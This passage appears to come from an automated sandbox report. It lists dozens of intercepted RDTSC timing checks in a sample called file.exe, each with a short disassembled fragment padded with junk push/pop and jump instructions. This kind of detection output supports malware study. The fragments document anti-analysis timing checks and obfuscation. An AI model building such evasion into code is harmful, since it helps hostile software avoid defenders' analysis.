Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A9AEE second address: 9A9AF3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AA5E3 second address: 9AA627 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F22FCB3D177h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c jp 00007F22FCB3D181h 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AACCB second address: 9AACFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F22FC56C6D7h 0x0000000d pop edx 0x0000000e pop ebx 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F22FC56C6D1h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9AACFF second address: 9AAD0C instructions: 0x00000000 rdtsc 0x00000002 jo 00007F22FCB3D168h 0x00000008 push esi 0x00000009 pop esi 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9A8BA9 second address: 9A8BB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B052D second address: 9B0569 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jg 00007F22FCB3D166h 0x00000009 jp 00007F22FCB3D166h 0x0000000f pop edx 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F22FCB3D172h 0x00000019 jmp 00007F22FCB3D176h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B0569 second address: 9B0579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007F22FC56C6C6h 0x0000000a jo 00007F22FC56C6C6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE124 second address: 9BE128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9BE128 second address: 9BE138 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnp 00007F22FC56C6CAh 0x0000000c push eax 0x0000000d pop eax 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C8975 second address: 9C898B instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F22FCB3D16Eh 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C898B second address: 9C899E instructions: 0x00000000 rdtsc 0x00000002 jne 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C899E second address: 9C89BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 jmp 00007F22FCB3D176h 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C89BB second address: 9C89D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F22FC56C6D5h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C89D6 second address: 9C89DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DADB2 second address: 9DADCE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F22FC56C6D3h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D970B second address: 9D9711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9B28 second address: 9D9B2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9B2C second address: 9D9B64 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F22FCB3D166h 0x00000008 jmp 00007F22FCB3D175h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jnl 00007F22FCB3D172h 0x00000015 push ebx 0x00000016 pushad 0x00000017 popad 0x00000018 pop ebx 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9FB6 second address: 9D9FBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D9FBC second address: 9D9FCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jc 00007F22FCB3D166h 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DA14F second address: 9DA154 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9ED6B8 second address: 9ED6C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F22FCB3D16Eh 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0C4B second address: 9F0C52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0AA2 second address: 9F0ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007F22FCB3D175h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F0ABD second address: 9F0AC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD28D second address: 9FD291 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD291 second address: 9FD29D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD29D second address: 9FD2A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD2A1 second address: 9FD2A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCDB1 second address: 9FCDC0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D16Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCDC0 second address: 9FCDC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCDC6 second address: 9FCDCC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCF57 second address: 9FCF5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCF5B second address: 9FCF6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F22FCB3D166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jl 00007F22FCB3D172h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FCF6F second address: 9FCF75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14DB4 second address: A14DC3 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F22FCB3D16Ah 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14DC3 second address: A14DC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14DC9 second address: A14DEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pop edi 0x0000000d jmp 00007F22FCB3D175h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14DEB second address: A14DEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14DEF second address: A14E01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F22FCB3D166h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push ecx 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f push esi 0x00000010 pop esi 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15249 second address: A1524D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1524D second address: A15251 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15251 second address: A1526A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jmp 00007F22FC56C6D0h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1526A second address: A1527E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F22FCB3D16Bh 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1527E second address: A15282 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15282 second address: A15286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193C1 second address: A193CB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F22FC56C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193CB second address: A193D5 instructions: 0x00000000 rdtsc 0x00000002 js 00007F22FCB3D16Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193D5 second address: A193E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A193E3 second address: A193E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1971A second address: A19729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19A34 second address: A19A42 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19A42 second address: A19A46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19A46 second address: A19A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19A4A second address: A19A53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B569 second address: A1B588 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F22FCB3D166h 0x00000008 ja 00007F22FCB3D166h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F22FCB3D16Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1B065 second address: A1B094 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F22FC56C6D6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 92B13F second address: 92B143 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02A3 second address: 4AE02A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02A7 second address: 4AE02AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02AB second address: 4AE02B1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02B1 second address: 4AE02F5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F22FCB3D16Eh 0x00000009 add cx, 3AD8h 0x0000000e jmp 00007F22FCB3D16Bh 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F22FCB3D176h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02F5 second address: 4AE02F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE02F9 second address: 4AE0315 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0315 second address: 4AE0367 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov ax, C36Bh 0x0000000f pushfd 0x00000010 jmp 00007F22FC56C6D0h 0x00000015 sbb eax, 2F76A9F8h 0x0000001b jmp 00007F22FC56C6CBh 0x00000020 popfd 0x00000021 popad 0x00000022 mov ebp, esp 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007F22FC56C6D5h 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0367 second address: 4AE036D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE036D second address: 4AE0371 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0371 second address: 4AE0384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edx, dword ptr [ebp+0Ch] 0x0000000b pushad 0x0000000c mov cx, di 0x0000000f push eax 0x00000010 push edx 0x00000011 push edi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0384 second address: 4AE0394 instructions: 0x00000000 rdtsc 0x00000002 mov dh, 7Bh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ecx, dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0394 second address: 4AE0398 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE0398 second address: 4AE039E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4AE039E second address: 4AE03A3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B006CF second address: 4B00729 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F22FC56C6CEh 0x0000000f push eax 0x00000010 pushad 0x00000011 mov edx, 48B94B34h 0x00000016 call 00007F22FC56C6CDh 0x0000001b mov ebx, eax 0x0000001d pop eax 0x0000001e popad 0x0000001f xchg eax, ebp 0x00000020 pushad 0x00000021 mov dl, 30h 0x00000023 popad 0x00000024 mov ebp, esp 0x00000026 jmp 00007F22FC56C6CCh 0x0000002b xchg eax, ecx 0x0000002c pushad 0x0000002d mov bl, ch 0x0000002f push eax 0x00000030 push edx 0x00000031 mov edi, 78A4AD5Ch 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00729 second address: 4B00790 instructions: 0x00000000 rdtsc 0x00000002 mov cx, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007F22FCB3D16Eh 0x0000000e xchg eax, ecx 0x0000000f pushad 0x00000010 mov cx, C98Dh 0x00000014 pushfd 0x00000015 jmp 00007F22FCB3D16Ah 0x0000001a and ch, FFFFFFA8h 0x0000001d jmp 00007F22FCB3D16Bh 0x00000022 popfd 0x00000023 popad 0x00000024 xchg eax, esi 0x00000025 jmp 00007F22FCB3D176h 0x0000002a push eax 0x0000002b pushad 0x0000002c mov cx, dx 0x0000002f mov bx, 4020h 0x00000033 popad 0x00000034 xchg eax, esi 0x00000035 pushad 0x00000036 mov di, F338h 0x0000003a popad 0x0000003b lea eax, dword ptr [ebp-04h] 0x0000003e pushad 0x0000003f push ecx 0x00000040 push eax 0x00000041 push edx 0x00000042 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00790 second address: 4B007AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov cx, 9E81h 0x00000009 popad 0x0000000a nop 0x0000000b jmp 00007F22FC56C6CCh 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B007AE second address: 4B007CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D178h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0095C second address: 4B0004B instructions: 0x00000000 rdtsc 0x00000002 mov bx, si 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 pop ebx 0x0000000a mov esi, 57B90C3Dh 0x0000000f popad 0x00000010 popad 0x00000011 retn 0004h 0x00000014 nop 0x00000015 sub esp, 04h 0x00000018 xor ebx, ebx 0x0000001a cmp eax, 00000000h 0x0000001d je 00007F22FC56C815h 0x00000023 xor eax, eax 0x00000025 mov dword ptr [esp], 00000000h 0x0000002c mov dword ptr [esp+04h], 00000000h 0x00000034 call 00007F230092821Bh 0x00000039 mov edi, edi 0x0000003b jmp 00007F22FC56C6D0h 0x00000040 xchg eax, ebp 0x00000041 jmp 00007F22FC56C6D0h 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007F22FC56C6CCh 0x00000050 adc esi, 506D8608h 0x00000056 jmp 00007F22FC56C6CBh 0x0000005b popfd 0x0000005c mov ax, A47Fh 0x00000060 popad 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0004B second address: 4B00051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00051 second address: 4B00055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00055 second address: 4B00082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F22FCB3D170h 0x00000012 adc cl, FFFFFF98h 0x00000015 jmp 00007F22FCB3D16Bh 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00082 second address: 4B000AB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e mov al, bh 0x00000010 mov cx, 3F4Bh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000AB second address: 4B000DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FCB3D171h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push FFFFFFFEh 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F22FCB3D178h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000DE second address: 4B000ED instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F22FC56C6CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B000ED second address: 4B00105 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F22FCB3D174h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00105 second address: 4B00109 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B00109 second address: 4B0016D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F22FCB3D169h 0x0000000d jmp 00007F22FCB3D177h 0x00000012 push eax 0x00000013 jmp 00007F22FCB3D179h 0x00000018 mov eax, dword ptr [esp+04h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov di, si 0x00000022 call 00007F22FCB3D176h 0x00000027 pop ecx 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0016D second address: 4B0018C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 63C58DDDh 0x00000008 mov eax, 41122AD9h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov eax, dword ptr [eax] 0x00000012 pushad 0x00000013 push ebx 0x00000014 mov ecx, 660B1377h 0x00000019 pop esi 0x0000001a pushad 0x0000001b push edi 0x0000001c pop eax 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B0018C second address: 4B001B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jmp 00007F22FCB3D172h 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F22FCB3D16Ah 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B001B7 second address: 4B001BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4B001BB second address: 4B001C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
